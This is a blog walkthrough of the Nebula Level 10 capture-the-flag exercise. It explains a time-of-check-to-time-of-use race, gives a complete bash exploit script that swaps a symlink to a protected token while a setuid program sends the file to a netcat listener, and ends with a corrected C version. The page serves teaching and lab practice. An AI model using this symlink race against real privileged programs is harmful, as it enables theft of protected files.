blog.ferling.eu by Benedikt Ferling


 

exploit-exercises.com/nebula -- Level 10

Problem

  1. TOCTOU!

This problem is called Time Of Check To Time Of Use (TOCTOU or TOCTTOU). Let t1 be the time of a condition-check of a property p, t2 the time of the action to execute if the condition-check succeeds and t3 be the time of the attack. A TOCTOU-attack is the change of the property in between t1 and t2 so that: t1 < t3 < t2

Exploit

t1 is checking if access is granted to the filename. t2 sends the file, if condition meets. Our goal is to do something with the filename in between t1 and t2. This is pretty easy.

In a first loop Loop1 one handles the file and symlink to the token.

  1. Create empty file foo
  2. Remove created file foo
  3. Create symlink(foo) to the token
  4. Remove symlink(foo) to the token
  5. Goto 1

In a second loop Loop2 one executes the programm flag10, and tells it to send the file foo to the specified server.

  1. /home/flag10/flag10 foo server
  2. Goto 1

What one need is a server that listens on port 18211 and saves the input. This can be done at localhost in this scenario.

  1. netcat -l 18211 -k » /tmp/flag10

There are three possible strings that might occur as input to the server.

  1. the content of the file foo
  2. the string .oO Oo. from the program flag10
  3. the flag itself

This is a simple bash-script that puts all together. Note: grep checks for the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/bash

schroedingerFile='/tmp/fake_and_real_token'
flagFile='/tmp/flag10' 

rm -f "$schroedingerFile" #init 

while true ; do
        # Loop1
        echo "Buh" > "$schroedingerFile" #step 1
        ln -sf /home/flag10/token "$schroedingerFile" # step 2 and 3
        rm "$schroedingerFile" # step 4
done & 
pidA=$!

# start the server 
netcat -l 18211 -k >> $flagFile & 
pidB=$!

# if the script is cancelled, the loops should be terminated. 
trap "kill -9 $pidA $pidB && exit 0" SIGINT SIGTERM

# execute the program and search for the flag until we have it. 
stillSearching=1
while [ ! $stillSearching -eq 0 ] ; do
        /home/flag10/flag10 "$schroedingerFile" 127.0.0.1 >/dev/null 2>&1
        grep -v "[Buh|.oO Oo.]" "$flagFile" 2>/dev/null
        stillSearching=$?
done

#if the flag is found, the loops should be terminated. 
kill -9 $pidA $pidB
exit 0

Lesson / How to fix

  1. Use immortable bindings! This is the only way of preventing a TOCTOU-attack.

In newer Linux systems one can use file descriptors for this kind of scenario.

linux.die.net notes, that the function int access(const char *pathname, int mode); should be avoided at all, due to the TOCTOU-attack.

This is a fix for the TOCTOU-attack just as described in the notes-section of linux.die.net

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
int main(int argc, char **argv)
{
  char *file;
  char *host;
  int ffd;
  int uid, euid;
  int fd;
  int rc;
  struct sockaddr_in sin;
  char buffer[4096];


  if(argc < 3) {
    printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
    exit(1);
  }

  file = argv[1];
  host = argv[2];
  uid = getuid();
  euid = geteuid();

  /* temporarily set the euid to the uid */
  seteuid(uid);

  if ((ffd = open(file, O_RDONLY)) == -1) {
    fprintf(stderr, "no accessCannot open file\n");
    exit(EXIT_FAILURE);
  }

  /* set the euid back to the original value */
  seteuid(euid);

  rc = read(ffd, buffer, sizeof(buffer));

  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  printf("Connecting to %s:18211 .. ", host); fflush(stdout);

  fd = socket(AF_INET, SOCK_STREAM, 0);

  memset(&sin, 0, sizeof(struct sockaddr_in));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr(host);
  sin.sin_port = htons(18211);

  if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
    printf("Unable to connect to host %s\n", host);
    exit(EXIT_FAILURE);
  }

#define HITHERE ".oO Oo.\n"
  if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
    printf("Unable to write banner to host %s\n", host);
    exit(EXIT_FAILURE);
  }
#undef HITHERE

  printf("Connected!\nSending file .. "); fflush(stdout);

  write(fd, buffer, rc);

  printf("wrote file!\n");
}

other levels…

00 01 02 03 04 05 06 07 08 09
10 11 12 13 14 15 16 17 18 19